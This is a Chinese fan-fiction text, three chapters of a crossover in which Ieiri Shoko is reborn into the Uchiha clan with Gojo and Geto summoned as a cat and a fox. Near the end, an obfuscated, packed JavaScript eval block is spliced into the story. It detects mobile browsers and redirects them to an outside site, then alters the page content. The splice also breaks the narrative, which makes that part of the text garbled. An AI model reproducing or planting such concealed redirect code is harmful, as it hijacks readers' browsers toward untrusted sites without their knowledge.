《宇智波硝子的战国生存手册》 1. 第 1 章 冬阳高悬于晴空，晒不化积雪。深绿的树上与地面都铺着松软的白砂，河面凝结成冰，将阳光反射出炫目刺眼的亮色。 年仅五岁的女孩抱膝坐在河边，风吹过她墨色的短发，微微荡起的发丝拂过同色的眼——整具身体与前世仅有的不同就在于此了。 硝子摸了摸右眼下位置相同的泪痣，脑子还有些恍惚，分不清现实和虚幻。 时间拉回到昨日。 在金乌西沉，火烧云铺天盖地，不详的红洒满漆黑大地时，硝子从死亡后深沉的混沌中醒来。 她侧趴着，透过身上的遮挡物，看见远处倒伏的人体剪影和更远处深色的树木与高山。 硝子轻微地晃了晃脑袋，感觉眼前清晰得有些眩晕。 耳边只有簌簌风声与飞虫嗡鸣，鼻尖嗅到浓烈的血腥味，彷佛被浸泡在血液与腐肉中似的。 硝子慢慢蜷缩了一下指尖，摸到身侧细小的尘埃和碎粒和上方两具僵硬的身体。 她摸索着将身上盖着的尸体推开，撑住地面坐起来。 面前一男一女的尸体僵硬着，呈保护状。 硝子四下扫视，发现自己苏醒在一个战场的废墟中，身上的伤口正被反转术式缓慢修复，而满地尸横遍野中没有一个活人。 硝子注意到不远处有巨大的塌陷坑，整片战场宛如大型爆炸后的废墟；注意到倒在地上的尸体距离坑洞中心越近便越是零落；注意到尸体身上的衣服大致分为两派，而与自己身上相同服装的人是被攻击的一方，中心的引爆者疑似冲到敌营自爆…… 天上有秃鹫盘旋。 最后女孩目光向下，身前的两人背后鲜血淋漓，似乎尽其所能想要挡住伤害。 她注视着他们，伸手拂去他们脸上的发丝与血污。 莫名的，硝子捉住胸口，强烈的酸涩与疼痛自眼眶与心脏蔓延，连绵至全身，仿佛身体原主的残念此时正悲恸嚎啕，令她竟无法控制地、面无表情地落下泪。 硝子呆坐着，嘴唇茫然地蠕动，似乎什么词句就要破土而出。大脑仿佛锈蚀般难以运转，对身体的感知逐渐迟钝。然后，细小、干涩、颤抖的声音自喉咙挤出，闯过舌尖与牙关，轻微到仿佛一接触外界便消散在空气中： “妈妈……爸爸……” 硝子这一刻仿佛被身体隔离，只能静坐着为眼前默哀。 直到金色的夕阳没入远方幽玄的山，浩渺银河高悬于天，硝子的抽离感渐渐消去，在苍白月色下动了动僵硬的身体。 没想到此世的原身父母与她原本的父母几乎拥有一样的相貌，但可惜的是硝子与他们的关系并不亲密，两辈子头一回为他们情绪波动成这样。 “我很遗憾。”她低声说，“愿你们下辈子都生在和平世界，仍是一家人。” 身躯内的残念终究随时间流逝消散了。 体内一刻不停地运行着来治疗身体的反转术式，直到残念消散，原本的微妙滞涩感才消去，硝子也真正拥有了身躯的实感。 女孩起身，年仅五岁的身体小巧纤细，包裹全身的黑色服装也起到了很好的遮挡作用，在夜色遮掩下并不瞩目。然而战场是无遮挡物的空旷地，而那缕残念留下的些许战斗本能与常识亟待消化，此刻必须想方法躲起来，最好能获得一些自保能力。 硝子将目光落到手上的通灵术卷轴。 原本的女孩一直没能通灵成功，至于她现在——也就是死马当活马医了。 借用战场上尸堆的遮掩。 铺开卷轴。 遵循身体本能结印。 亥－戌－酉－申－未 莫名地，硝子有种奇妙的直觉。 她顺从本能，咬下右手指尖，撇开卷轴在地上画了个与记忆中通灵法不太一样的图案，似乎更接近咒术。 两个名字的音节滑到嘴边，硝子瞪大眼睛。 “五条悟。” “夏油杰。” 气流自地面亮起的符文处炸开，硝子微眯眼睛，两个胳膊抬起挡在脸与脖颈前。 当光芒暗下，硝子看见眼前出现了两只动物——戴圆片墨镜的长毛白猫与额前留着一撮奇怪长毛的黑狐狸。 五条猫与夏油狐甩了甩头，还没弄清楚周围环境与脑子里多出来的记忆，就听见面前传来一声笑。 “呵。” 两只当前还只是猫崽和狐狸崽的动物寻声望去，便看到了个眼熟的女孩——与他们的同期家入硝子长得一模一样，就是发色瞳色都变黑了。 “硝子？” “……硝子吗？” “哎呀，这不是早早掉进地狱里的两位最强吗？死后终于也是落到我手上了。”硝子环胸，微抬下巴调侃。 夏油杰目光游移，五条悟耳朵抖了抖：“那你呢？” 硝子耸耸肩，“被老橘子藏起来的残党反扑了。歌姬她们带着虎杖他们这级去出外勤，应该会比我安全些。” “嘁。老橘子……”五条猫烦躁地尾巴拍地。 夏油狐看天看地，打量环境和自己现在的状态，又简单梳理了一下多出的记忆。 “硝子。”小狐狸出声，紫色的眼睛关切地看她，“你现在要离开吧？我和悟会保护你的。” 硝子注视着小黑狐，几秒后弯起眼，“行啊。” 她在前世同期变成的两只小动物的护送下，慢慢向着记忆中的族地方向走去。 不知过了多久，硝子遇见了与自己穿着类似衣服的人，经过谨慎的试探与观察后，意识到自己这具身体——“宇智波硝子”，平日存在感不高，比较沉默内敛，仅仅在这个大家族内能跟一些人混个半生不熟。 幸于原身的社交状态是无人熟悉，在她摸索着亮出一勾玉的写轮眼与对方交流，又通过了简易的测试后，便被带着向族地赶去。 回到族地，硝子又一次完成了族内的间谍测试，随后被嘱咐回家后不要随意走动，便循着身体直感回到此世界的家。 墙面由深色木材搭建，顶上铺青灰瓦片，大门紧闭，但好在“硝子”身上挂着钥匙。 门锁拧开，木门发出“吱呀——”的刺耳声音。 夏油狐和五条猫一马当先跨入门槛，四下打量观察。 干净、温馨，三个人的物品分类得整整齐齐。 硝子注意到书架上码放着整整齐齐的各类书籍，伸手抽出的几本内容比较浅层的医书都有严谨细致的标注。随着书籍的翻阅，原身阅读这些书的记忆也被逐渐唤起，只等着她梳理后与自身的记忆融合。 平行世界的另一个我……？ 细想起来容易陷入虚无主义，硝子明智地打住，随后又向着另一个方向发散思维。 作为一个五岁的小孩来说，这种阅读量和知识深度是不是有些过分了？ ......也许这就是动荡时代的早熟天才罢。 “好吧两位，”硝子长呼了口气，“虽然不知道为什么你俩待着不会消耗我的咒力或是查克拉，也暂时没法让你们回去，就先这么呆着吧。现在我要去休息，别闹过头了。” “去吧去吧。”五条猫上蹿下跳，欢快得头也不转。 “好好休息。”夏油杰装了一下，但不多。 硝子打着哈欠去洗漱，一路上都在梳理脑中多出来的常识内容，将它们与自己原本的记忆区分、融合。 直到后半夜，将一些最重要的内容梳理完成，床上的女孩才微皱着眉头沉沉睡去。 一觉醒来便是第二天，恍恍惚惚地刷了牙，硝子向屋外走去。没看见两只小的，但还没人来找她，料想应该是没干什么大事。 于是硝子向着族地外围去，一路走到河边坐下。 新的世界，新的人生，但看起来并不和平。硝子一向是能活挺好，不活也没办法，不过幸运的是，作为一个奶妈通常是比较难死的。 “硝子？”一只五条猫瞬移过来，“跑到这里了啊。” 夏油狐趴在他的咒灵身上也飞了过来。 “……夏油，你的咒灵怎么还有剩余？”硝子惊奇地看着这只鸟型咒灵，伸手戳了戳。 夏油杰收起咒灵，盘着尾巴在硝子旁边坐下，“我和悟昨天在这个族地外面试了一下，我们的实力上线参照点应该是生前最强的时候，可能会随着你的成长逐渐解开限制。” 五条猫趴在硝子另一边无聊地玩着自己小小的圆片墨镜，接话：“目前我的伤害被限制到十分之一左右，杰则是最多只能只能 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夏油杰回答：“这么说也太直白了，悟。硝子的反转术式也许有挖掘的可能性呢？反正在硝子变得足够强以前，我和悟可以保护你。” “真是两个人渣呢。” 硝子对此回应。 尽管是无心之言，但终究于冥冥中达成了【束缚】。 于是在硝子拥有了写轮眼的当下，在她真的有了【强攻击型天赋】以及【还没能变得足够强】的时刻，他们被召唤了出来。 只是死者总该往生，硝子不认为自己应该束缚他们。 随着硝子的强大，分别的时刻终将到来，但三个人心知肚明却谁也没说出口。 他们终究是有些心照不宣的默契在的。 硝子站起身，带着两只小动物慢悠悠地往回走。 “根据你们的了解，觉得宇智波族怎么样？”硝子笃定地提问，仿佛确信即使没有一点交流，他们从昨晚到今早的离开也一定是探查了这个地方。 事实就是如此。 “族长是个严肃果决但还算英明的家伙，家族里也不可避免有些老蠢货。不过也许是战争时期的原因，还远远没到咒术界的程度。”五条悟说，“大致上是个还算过得去的去处。” “是么，”硝子若有所思，“那你们觉得我利用反转术式来请求族里的庇护有可行性吗？” “可以。”夏油杰并不惊讶地回答，显然在场三位都对硝子后续的处境有所预料，“无论如何，像你这样足够强大的医生，没有什么人会拒绝的。” “你在那种全军覆没的战场上活下来的原因必然会遭到审查，反转术式瞒不住。何况想要长期在这里生活也不好隐瞒，毕竟不能当治疗就得上战场。”五条猫轻巧地跃过障碍继续走着，绚丽的蓝眼睛注视硝子。“但这样你可能又要被绑在医疗室了。” “呵。”硝子懒散地笑了声，“我早就习惯了。” 穿梭在树林，踏过松软雪面，在临近族地边缘处，夏油狐跳上硝子臂弯，五条猫连蹦几下，上到硝子头顶趴下。 硝子挑眉，意识到他俩在族地内搜集情报时终究还是整了点活。于是顺其自然地抱住狐狸崽子，还扶了扶脑袋上的小猫咪。 万幸他俩也是小小一只，否则她这五岁小身板真不一定遭得住。 “咦？这俩不是……”族地边缘处巡逻的宇智波愣了一下，将目光落在硝子身上，“它们是你养的？” “……”硝子露出无辜茫然的微笑，点头默认。 宇智波守卫于是感慨：“哎呀，这两只小东西昨天在族地四处乱跑，要不是身上有一点宇智波的查克拉痕迹，都要被族里当做间谍通灵兽了。” 伴随着宇智波守卫的叙述，五条猫和夏油狐安静乖巧地呆着，好像真的动物幼崽似的。 好一会，终于糊弄过守卫离开后，硝子哼笑：“你们俩的操作真是一点都不意外。” 五条猫大尾巴扫了扫硝子脸侧，甚至有些自得，“毕竟我是一只这么可爱的小猫咪，活泼一点也没关系吧～” 夏油杰没表态，但显而易见与前面那位狼狈为奸。 硝子接着向里走，来到宇智波族地内的贸易区，意料之中遇见了宇智波斑——现在的族长长子。 2. 第 2 章 来得还挺快。 硝子镇定地向前走。 宇智波斑看着迎面走来的小女孩有些头疼。 族内在救回宇智波硝子后派人打探了战场，显而易见是这次的千手们进行了同归于尽的袭击才造成那样巨大的破坏力——近乎整片战场被清场，敌我双方除一人外无一幸存。 ——这时候宇智波硝子就显得格外特殊了。 有些长老用的词是【可疑】，但宇智波斑并不喜欢这样毫无证据的揣测。宇智波硝子毕竟有写轮眼，也通过了族内的间谍检测，更是货真价实失去了双亲。况且他一直认为，倘若千手真想放卧底进来，何必搞什么多此一举的同归于尽。 仅仅犹豫了几秒，硝子已经接近。 “硝子。”宇智波斑动作僵硬地拦住女孩，自觉长大的10岁男孩显然不太擅长和他眼中的【小孩】对话，“族里的长老和我父……族长、想见你，我带你去议事堂。” 男孩转身带路前顿了顿，他想着【是不是该安慰对方别紧张】【要不要透露这次会议要说的是关于昨天战场的事情，可能会冒犯到对方死去的双亲要提前做个心理准备】，然而长老团提出的“间谍”可能性依旧横亘在他心间，显而易见这是他暂时还无力承担后果的程度。 于是硝子只看见这位族长长子顿了一下，似乎想说些什么，最终又面色微沉地闭口不言，默默转头引路。 毕竟不是需要照顾的个性，硝子自然而顺从地带着俩小动物跟在了匆匆转身的宇智波斑身后，在对方注意不到的范围惊奇地与五条猫和夏油狐对视一眼，显然是都看出来了前面的男孩在纠结什么，一时只感觉战争时代的小孩就是多思早熟。 穿过热闹的市集走向族地中心，气氛逐渐安静，宇智波斑不太自在地注意着后方小孩别跟丢。 硝子不能表现得太新奇，倒是身上的一猫一狐狸挺有兴致地四处打量。 天气很晴朗，有些宇智波已经跳上屋顶开始清理积雪，些许凉风有些刺脸，但显然对皮糙肉厚的忍者造成不了什么影响。 一路过去，积雪渐清。 “到了。”宇智波斑站在一幢明显区别于其他民房的建筑前，唤回硝子略微涣散的注意力。 门户大敞，可见里面族长跪坐在正中间，旁边留了个位置大约属于宇智波斑，而空位更旁边是族长二儿子——宇智波泉奈，两边长老列得整整齐齐，所有人都正等着她这个主角。 宇智波斑一马当先向自己位置走去，硝子还在原地。 “下马威吗？”硝子轻声喃喃，五条猫和夏油狐都甩了甩尾巴，对这类老橘子的常见把戏不屑一顾。 感受到俩家伙的轻蔑，硝子微不可见地笑了笑，平静地踏入门槛。 “坐。”宇智波田岛右手示意，指向正中间的垫子。 女孩顺从地跪坐在会议堂中间，身形板正端庄，两只小动物也一副被教导过的样子乖顺地趴在两边，装得守礼有教养，无形中拉了点印象分。 族长——宇智波田岛，开场先来了一通对昨日战况的总结、对硝子父母的遗憾与对硝子本人的关怀，随后才语气和善地进入正题：“能说说你怎么活下来的吗？” 在这样领导者实权的家族，很大程度上族长态度即上层态度。 倒是意外的委婉。 女孩不太明显地挑眉。 硝子将自己醒来时发生的事情大致上原原本本地讲了一遍，虚构了些小细节。 ——关于怎么活下来的：“我们没有在爆炸点中央，爸爸妈妈把我保护在身体下面，为我挡住了绝大部分伤害。尽管这样，我依旧距离死亡一步之遥，然而在濒死的时候莫名感觉自己觉醒了某种新的力量，它在缓慢治愈我的伤口。” ——关于五条猫和夏油狐：“我想要有什么保护我，就进行了通灵召唤。我们签了血契，它们的要求只有想呆在外面，我同意了。” ——具体说说你感受到的新力量：“我感受到它以我的负面情绪为动力源，经由反转进行治疗。我想，是的，它可以治愈他人。” ——这种治愈能到什么程度：“……大约，除去无法挽回脑部死亡与疾病，应该都可以做到吧。” “……！” 在场的人一瞬间嘈杂起来。 最后是宇智波田岛出面拍板，“我带你去医疗所，如果你真能做到，以后就在那里工作吧。” “不胜荣幸。”硝子端着不卑不亢的姿态回答，五条猫和夏油狐尾巴晃得很欢快，像在看熟人装乖的乐子。 宇智波族长一马当先，斑和泉奈跟在对方身后，走在硝子两侧，既是保护亦是控制，接着是会议堂里一群人浩浩荡荡地跟着。好在医疗处占地面积很大，与会议堂离得挺近，都属于族地中间的范畴，很方便四面八方的族人来看病，也让现在这一大堆人不至于招摇过市。 战争不止一次，如今的医疗所内还躺着许多痛苦呻吟的病人。 宇智波田岛出面，询问是否有外伤者自愿尝试治疗。 医疗所内哗然，头脑清晰的病人和医生们试图了解情况，然后又展开讨论。硝子被礼貌地请到门口位置上坐着，宇智波族长带着斑和泉奈入内找医疗所负责人交流。 最终一位截肢者被推了出来。 那是一位秀美的女性，年约二十，眼角下垂，唇边带笑，打理得很好的及腰长发垂在胸前，看见硝子这小小的样子也没有任何轻视：“我的名字是叶月。” 硝子也微笑起来，温柔的人更容易获得好感，显然这是族内为了拉拢示好而筛选过后的结果，但她也很满意：“我是接下来要为你治疗的医生，硝子。” “哎呀，玻璃吗？真是好名字，是期望你是个剔透的孩子呢。”叶月夸奖。 语气上未免有些哄孩子的意思，不过硝子倒是无所谓是不是被当小孩。她也挺喜欢自己名字，相当自然就领受了夸奖：“谢谢，叶月姐姐的名字也很美。” 没让旁观者等太久，简要的交流结束，双方都对彼此有了基础的了解和判断，她们顺其自然地来到了下一步——治疗。 硝子轻轻抚上叶月的腿。 她被截肢到了大腿根，里面的骨骼已经全部抽去，只剩下腿根部的肉团软塌塌地耷拉在轮椅上。 “其实还挺好摸的。”叶月笑眯眯地说。 硝子不是个善于共情的人，也并不打算在一个明显看开了的人面前表达自己拙劣的同情，于是只是顺着叶月的话戳了戳截肢处的肉团，缓慢眨了眨眼展现了她的认同。 不知为何，叶月理解了硝子尽己所能的安慰。 真是个可爱的孩子。 女人眼中的笑意弥漫开。 “上病床吧。”硝子扶着叶月，“接下来我需要将你的创面切开，有麻醉……草药吗？” 旁边待命辅助的中年女性医生回答道：“有的，我去给您拿过来。” 借助一点点麻醉草药的辅助，叶月强行控制自己陷入深眠——她很忍者的本能不愿意自己被药物控制。 硝子平静地为手术器械消毒，镇定地划开创面。 她打开写轮眼。 这双眼睛搜集信息的能力很强，至少能令她看清楚很多□□上的细微反应，尽管在医疗用处上比不过白眼，但对她这种以普通眼睛行医了十几年的人来说，已经是个巨大的正面buff了。 五条猫和夏油狐无意在此时给硝子带来麻烦，只是略有些百无聊赖地趴在宇智波长老们旁边，有意无意地防备着。 硝子全神贯注地逐步制造腿部骨骼、经脉、肌肉和皮肤。 可以确定了。 她想。 兴许是被一个完全没有咒术和咒力的世界被承认了的缘故，硝子能感受到自己在使用咒力对他人治疗的时候似乎没什么排异感，这点就连原世界都做不到；并且根据现在的治疗测试，她认为自己能够在这个世界上没有任何外放损耗地治疗他 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宇智波田岛沉着眉，在长老们的嘈杂声中来到硝子面前，半蹲下对小小的女孩发出邀请：“你愿意让我收养你吗？” 周围的声音一静，斑和泉奈略有惊诧地对视一眼，但也不那么意外，周围的长老团则不约而同地露出若有所思的了然表情，相互张望后齐齐将目光投向硝子。 硝子摸着毛的手一顿，与抬起头的五条猫和夏油狐隐晦地交换了个早有预料的眼神。 ——倘若宇智波的人希望以一种比较委婉方法来绑住她，那么由族长来收养一个失去所有亲人的小女孩是最合适的。既能确保硝子得到照顾，又能利用教养之恩和归属感将其牢牢绑在宇智波的船上。 硝子现在的身体年仅五岁，她确实很需要时间成长，而身为成年人的心智与判断力又能令她保持独立思考的能力，不至于轻易被他人观点带跑。 这是最优解的情况。 从前世起，硝子一直是所有人中最冷静成熟的那个。 五条悟和夏油杰保持着沉默，很有默契地并不参与硝子的选择。他们所能做的，只有在早上已经把硝子应该了解的内容全部告知过了——用一晚上的探查时间。 毕竟死人总得避免过度参与生者的世界。 硝子露出浅淡的微笑：“当然，田岛先生。” 宇智波田岛站起身，目光投向后方的两个儿子。两个小孩心领神会地点头，长子的斑迅速起身离开，回去通知母亲并与对方一起准备迎接新成员，而年龄与硝子更接近的泉奈则挂起亲切可爱的笑容上前与新来的妹妹套近乎。 此时，围观的人员见事情了结，也逐步散去，医生和病人们回到自己的岗位和病房，而长老团则在田岛的带领下离开。 “硝子……我可以这么称呼你吗？你可以叫我哥哥。”泉奈试图拉近关系。 硝子……硝子沉默了两秒，然后愉快抛弃了所谓前世三十岁成年人的矜持，也对着自己未来的家人（不出意外的话）释放善意：“好的，泉奈哥。” 五条猫发出喵喵的狂笑声。 夏油狐也笑眯起眼。 硝子公平地一只拍了一下脑袋。 泉奈顺着硝子的动作看向她怀里的两只通灵兽幼崽，惊奇又犹豫地猜测：“它们是在笑吗？为什么？” 硝子露出假笑：“可能是这两个当弟弟的也想起了自己的姐姐吧，真是令人感动的情意。” 五条悟和夏油杰陷入沉默。 毕竟前世的硝子真是月份最大的那个。 不知情的泉奈为目前还不错的聊天氛围暗地里（但面前的三个全发现了）松了口气，然后笑意真切地回应道：“听起来真好，相信我们作为家人的未来也可以这样。” 硝子跟在泉奈身后向医疗所门口走去，并不介意给前方的八岁小孩一点肯定：“当然。” 3. 第 3 章 宇智波斑飞速赶往家中，同时集中精神努力打着要对母亲解释的腹稿。 他一路上快速起落，掠过好些个还算说得上话的同辈孩子都没能分出他半点注意力。 独处家中的华织正在浇灌院子里的树木花草，忽然听见自己儿子之一的急切脚步声——作为忍者也作为母亲当然有这种能力，转过头警觉地望去。 “怎么了，斑？”华织放下水壶，温和地安抚，“出什么事情了吗？冷静点说。” 斑用几下深呼吸缓了缓，慢慢将持续了一早上的会议堂内容转述出来。 “新成员啊……”华织若有所思。 斑略有些忐忑。 客观上来说，让硝子加入是最好的处理方法。既有益于其他宇智波族人，也能庇护硝子，而斑和泉奈几乎是板上钉钉的下一任族内高层，自然也愿意为了家族多做考虑。 但这个家还包括母亲。 华织实力不弱，只是对于政治方面的打机锋一向很不耐烦，不爱参与高层议事，也不吃道德绑架那套。 斑不确定母亲是否乐意为了家族利益考虑而多收养一个陌生的小孩，却也不想用言语强求。 他希望母亲开心。 华织一眼就看出来了斑的犹疑。 怀着点欺负小孩的恶趣味，华织故作不快地晾了儿子几秒，直到对方沉不住气地频频观察自己脸色，才恶作剧成功似的笑起来，伸手揉搓着斑那头又软又翘的炸毛： “你妈妈我也是家族的一份子诶，怎么可能真的全凭喜恶做事？而且听起来那个小姑娘不是性格挺好的嘛，说话做事又清晰又礼貌，还很厉害，说不定我们能成为母女版的闺蜜呢。” 斑的炸毛更炸了。 也不知道是窘迫还是被母亲揉搓的。 “开始吧。”华织很快松开手，有条不紊地安排起来，“我去准备欢迎硝子的食材和晚餐，你去收拾一个房间给妹妹住。家里有多余的被褥和洗漱用品，要记得全部都放好了。” 斑也正色：“好的，母亲。” 西斜的太阳缓缓下沉，注视着宅邸内的母子从厨房和卧室忙到餐室和书房。而在光线即将被群山遮蔽之前，有两个孩子和一个大人正走在不同的路上，目光却投向同一处终点。 泉奈领着硝子去买些她常用的生活用品。 硝子在摊位上看了一圈，只觉得物产贫瘠，前路黯淡。 好想逃。 这个没有抽水马桶和空调的世界。 “五条，夏油。”泉奈走到离得有些远的摊子后，硝子露出深沉的表情，“你们觉得我再死一次，转生到现代社会的几率有多少。” “百分之五十吧，只有可以和不可以的选项。”五条悟看热闹不嫌事大，“你也可以在这里创造一个有现代设施的世界。” “……不要随便就想着转生啊。”夏油杰吐槽。 硝子闭上眼，不想面对现实。 ——然后为了让自己在这里生活得更舒坦些，不得不睁开眼继续买东西。 踏着夕阳残辉，泉奈领着硝子走上归途。 男孩轻快地为硝子介绍家人： “母亲的名字是华织，平日里一般都很温柔，偶尔有些恶趣味，你们应该能相处得很好。” “父亲是族长，平日里会比较严肃但不会随意生气，所以不用小心翼翼地看待他。” “斑哥比较内敛，虽然不太擅长交流，但他一直很关心家人。” “而我——有事可以来找我和母亲。” 他们来到一栋宅邸面前，泉奈推开门，转头对硝子微笑：“欢迎回家。” 斑在门口迎接弟弟妹妹，见到人便自然而然的微笑起来，将他们引路到餐厅门口。 田岛帮助妻子布置碗筷，看见孩子们只是略微颔首。 华织端着餐盘出来，脸上挂着柔和的笑意：“哎呀，这就是硝子么？长得真可爱。” 放下餐盘，华织擦了擦手，然后走到硝子面前半蹲下，视线与她平齐。 “我的名字叫做华织，是你未来的母亲，很高兴见到你。”她说，“请随意称呼吧，【妈妈】这个词，我会一直等到你心甘情愿喊出口的那天。” 硝子望着面前的女人。 年龄约莫有三十上下了——根据斑的年纪推算，眼角有些细纹，令她秀美的脸更显温和。她的眼神很笃定，就好像完全确信自己能够做的很好，好到让一个初来乍到的孩子终有一天会接受她。 硝子莫名想起，自己上辈子也差不多这个年纪了。小时候没什么母爱，长大了没当过母亲。 这是她两辈子第一次在生命中接触这种角色。 怀着自己也说不清楚的触动，硝子露出浅笑：“华织女士，很高兴见到您。” 一场愉快的欢迎晚餐。 泉奈和华织活跃气氛，硝子捧场地与他们聊得有来有回，顺便和同样各有一份晚餐的五条猫和夏油狐配合着，不着痕迹地引导话题走向，不让话头落地上。 当晚餐结束要收拾残局的时候，硝子被华织和泉奈义正言辞地以“怎么可以让欢迎会的主角收拾东西呢”为理由，茫然地被推出厨房。 就连斑都在帮忙收拾，而硝子只能与正打算去处理族内公务的田岛面面相觑。 田岛与身前堪堪身高及腿的女孩对视，一时间大脑疯狂运转，试图结束这有点僵持的氛围。 ——他还真想到了。 “来吧。”田岛示意硝子跟上，一路来到他惯常处理公务的书房门口。 没有让人进去。 开始信任，但仍然留有余地。 硝子在心中判断。 “我不太确定你愿不愿意让人听到，这不是个很愉快的话题。”田岛半跪在地上与硝子对视，“你是个聪明的孩子，应该可以看出来我收养你也是为了保护你，所以接下来你会在这里长住。” 他停了一下，再次开口：“……你原来的家会原样保存，我会雇佣人定期打扫，这样可以么？” “……” 硝子微怔。 或许是因为她表现得足够冷静聪慧，或许是因为她拥有足够的价值——总之她获得了出乎意料的尊重。 “当然。”硝子扬起唇角回应。 “……谢谢。”她又补充。 真正住在那里的人已经全部离去了，保留、封存是硝子唯一能做的缅怀。 田岛没说话，站起身轻轻揉了下硝子的脑袋，说：“去吧。” 于是硝子原路返回。 因为田岛一副想跟硝子单独谈谈的架势，其余人都没有跟来，就连五条悟都在夏油杰的提醒下止步在了一个看得到人但听不见声音的位置。 注视着硝子走来，见她心情还不错的样子，夏油杰没有询问交谈的具体内容。 而五条悟，在他死前那不算长的29年人生中，和硝子共事的时间就占了一半，相信、尊重且不干涉这种事还是很拿手的。 硝子带着一猫一狐往回走，在大厅门口见到正等着她的斑。 斑其实有些拿不准要怎么面对这位妹妹——早上见面还只是没什么交集的陌生小孩，冷淡点没什么，然而现在对于要成为家人的妹妹不可以。 于是硝子跟着父亲离开时，他紧急求助了弟弟和母亲，结果只收获了类似【顺其自然】、【轻松友善点】这类（在他看来）模糊不清的建议。 在并没有用心躲藏的母亲和弟弟鼓励的目光中，斑简直如芒在背，带着点窘迫对硝子说：“我带你去看你的房间。” 硝子：乐。 五条猫：乐。 夏油狐：乐。 宛如在看看什么小品漫才，硝子以看热闹的语气回应：“那就拜托啦，斑、哥。” “……” 斑觉得硝子叫哥哥时莫名延长的顿挫是故意的，他发誓自己听到了母亲和弟弟憋笑的气音。 他迅速回身带路。 硝子路过华织和泉奈的躲藏地时，三个人相互交换了带着笑意的、心领神会的眼神。 斑带着硝子来到寝区尽头的卧室，随意点亮一盏烛灯后，和硝子介绍了内部布局，然后又来到房间门口指出家中人们各自的房间位置。 “我和泉奈的房间是往前一点的相邻那两个，而父亲母亲的则更远些。”斑对硝子解释，“因为每个人的作息有些不一样，比如我和泉奈有晨练的习惯，所以为了避免打扰到其他人，房间靠得不太近。” 晨练。 硝子的第一反应是排除自己，毕竟她真的志不在此。 然而考虑到五条悟和夏油杰的上限只能跟着她走，再加上真正身处于这个高武世界的是她自己—— 最后斑只看见硝子露出全是痛苦和不情愿的、皱在一起的表情，从牙关里挤出一句话：“早起要晨练的话，请带上我吧。” ……？ 眼见一天下来都温和冷静的新妹妹露出这种表情，斑战术后仰，小退了半步。 不情愿成这样要不别强求了。 一瞬间他甚至有点想这么说。 然而斑更知道，抗拒成这样依旧说出来了正是硝子决心的证明。 所以他只是回应：“我会的。” 斑离开后，五条悟故作欣慰地抹泪：“听见了吗，杰？我们硝子要开始向成为强者的方向努力了。” 夏油杰笑眯眯的接话：“听见了，悟。我们硝子也终于迈出了成长的一大步。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845752|175770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们是我爹妈么。”硝子锐评。 夜色渐深，圆月高悬，万点繁星作伴。 硝子将房门关上，点亮更多烛火照明。 明亮的暖黄晕染这个八叠间。门口的左角地面上，被褥铺得一丝不苟，左前方则是立着的动物爬架，显然是给一猫一狐狸待的。正前方是半面墙的衣柜，右手边则是占了整面墙的书架，各类书籍按照大小种类排放全部填满，最下层放着矮桌和文具，看着很有种秩序的美感。 硝子看着这个真正属于自己的房间，安静了两秒。 然后她突然开口：“刚刚吃饭的时候我就想说了，这个年代居然桌椅都没有么。” 夏油杰吐槽：“在对这个战国改版的时代奢求什么呢。” 五条悟跃跃欲试：“要自己造一个吗？我会哦。” 硝子心动了一秒，然而理智始终占据上风，终究是忍痛长叹：“算了。初来乍到还这么弱的情况下，暂时不好搞特殊。” 她努力说服自己：“还是洗漱去先别想了。” 明月东升西落，来到这个世界的第二个夜晚，硝子睡在了一个能够长居的安全屋。从在战场睁眼起就紧绷着的神经放松下来，一刻不停地运转的大脑总算获得了片刻安宁。 第二日清晨，薄雾散去，天朗气清。 华织起床活动身体，正准备顺手给打算去晨练的两个儿子做份早餐，却看见斑在敲硝子的门。 “咦？硝子也要去吗？”华织问着就打算去拿第四份食材。 “她昨晚是这么说……”斑犹豫地看了眼硝子的房门，“但似乎还没醒。” “嗯……”华织想了想，“她前两天毕竟……可能休息得不怎么样，你们先去吧。” 斑见母亲似乎在回忆什么，然后看向自己：“我记得你今天好像没什么事？回来以后带着硝子去给她的实力摸个底吧，别让她锻炼超限了。” 于是硝子一觉醒来，看着大亮的天色陷入沉思。 她原本想说五条夏油怎么没叫人，结果一转头发现那两只也躺得东倒西歪。 不愧是他们高专出来的，赖床只是基本功，阴间作息更是毫不意外。 硝子觉得笑一下算了。 起床，洗漱。 硝子真正清醒过来时，五条悟和夏油杰也打着哈欠与她聚首。 她穿过安静的过道来到餐室，见华织已经放好了早餐，正笑眯眯地看着她，顺带帮长子解释了一下言而无信的原因。 硝子：好的呢。 她自然知道本质上是自己睡过头，只能假装自己很忙地吃饭。 “我打算让斑看看你的战斗水平，好制定一下训练计划，你看可以吗？”华织不再用促狭的眼神捉弄女儿，转而慢悠悠地说。 硝子动作一停，脑子开始回忆自己贫瘠的战斗经验。 “嗯……好的。”她沉重地回应，“我待会就去准备。” 于是斑回到家后，便看见了整装待发但莫名姿态不太自然的妹妹，以及打算另外去训练的母亲。 “要好好照顾妹妹哦。”华织挥挥手。 斑神色严肃地点头。 离开家门后，穿过几条小巷，越来越接近族地边缘，冷风洌洌。 训练场的积雪已经被清理过了。 “来吧。”斑摆好架势，对准备完毕的硝子示意。 硝子深吸口气，目光凛然。 她上了！ 她倒了。 硝子：…… 斑：？ 五条悟：哈哈哈哈 夏油杰撇开视线。 如果穿越来的是高专时期的硝子，或许还有余裕过上两招，然而现在只有一个上辈子被压榨到甚至懒得去除自己黑眼圈的可悲牛马—— ——体术这种东西早忘光了。 原主更是年仅五岁，战斗经验也没多少，留下来的身体本能只够让硝子在被撂倒的时候保护好自己的脑袋。 “……” 宇智波斑棘手又头疼地看着硝子往地上一躺就安详睡去的模样。 战斗能力太弱了，族地也并非永远安全。距离硝子能到独当一面的程度还要很久，在此期间总不可能让人天天贴身保护—— 嗯？ 宇智波斑将目光投向硝子的通灵兽。 他左右看看，将目光锁定在那只莫名看着很有嘲讽力的白猫身上。 “你。”斑微抬下颌。 五条猫疑惑转头，抬起右爪指向自己。 斑颔首：“要来跟我打一场么？” 哦—— 